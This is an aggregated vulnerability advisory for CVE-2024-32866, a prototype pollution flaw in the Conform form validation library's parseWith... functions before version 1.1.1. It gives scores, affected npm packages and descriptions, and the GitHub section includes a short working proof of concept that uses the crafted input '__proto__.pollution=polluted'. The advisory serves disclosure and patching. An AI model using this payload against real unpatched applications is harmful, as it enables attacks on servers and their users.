8.6high
Conform contains Prototype Pollution Vulnerability in `parseWith...` function
- Severity
- 8.6high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.73% (higher than 55% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-624g-8qjg-8qxf
Description
Conform, a type-safe form validation library, allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature in versions prior to 1.1.1, an attacker can exploit the feature to trigger prototype pollution by passing a crafted input to `parseWith...` functions. Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability. Version 1.1.1 contains a patch for the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| edmundhung conform | < 1.1.1, * | CVE List |
| @conform-to/dom (npm) | from 1.0.0 before 1.1.1, before 0.9.2 | GitHub Advisory Database |
| @conform-to/zod (npm) | from 1.0.0 before 1.1.1, before 0.9.2 | GitHub Advisory Database |
| @conform-to/yup (npm) | from 1.0.0 before 1.1.1, before 0.9.2 | GitHub Advisory Database |
All scores
| GitHub_M | 8.6high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H |
| GitHub | 8.6high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
Conform, a type-safe form validation library, allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature in versions prior to 1.1.1, an attacker can exploit the feature to trigger prototype pollution by passing a crafted input to `parseWith...` functions. Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability. Version 1.1.1 contains a patch for the issue.
GitHub Advisory Database
Summary
Conform allows the parsing of nested objects in the form of object.property. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to parseWith... functions.
PoC
const { parseWithZod } = require('@conform-to/zod');
const { z } = require("zod");
const param = new URLSearchParams("__proto__.pollution=polluted");
const schema = z.object({ "a": z.string() });
parseWithZod(param, { schema });
console.log("pollution:", ({}).pollution); // should print "polluted"
Details
The invocation of the parseWithZod function in the above PoC triggers the setValue function through getSubmissionContext and parse, executing the following process, resulting in prototype pollution:
let pointer = value;
pointer.__proto__ = pointer.__proto__;
pointer = pointer.__proto__;
pointer.polluted = "polluted";
This is caused by the lack of object existence checking on line 117 in formdata.ts, where the code only checks for the presence of pointer[key] without proper validation.
Impact
Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.
NVD (es)
Conform, una librería de validación de formularios con seguridad de tipos, permite el análisis de objetos anidados en forma de `object.property`. Debido a una implementación incorrecta de esta característica en versiones anteriores a la 1.1.1, un atacante puede explotar la característica para desencadenar la contaminación del prototipo pasando una entrada manipulada a las funciones `parseWith...`. Esta vulnerabilidad afecta a las aplicaciones que utilizan conform para la validación del lado del servidor de datos de formulario o parámetros de URL. La versión 1.1.1 contiene un parche para el problema.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-32866 changed 2024-08-02 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-624g-8qjg-8qxf changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2024-32866 changed 2026-06-17 | Public domain |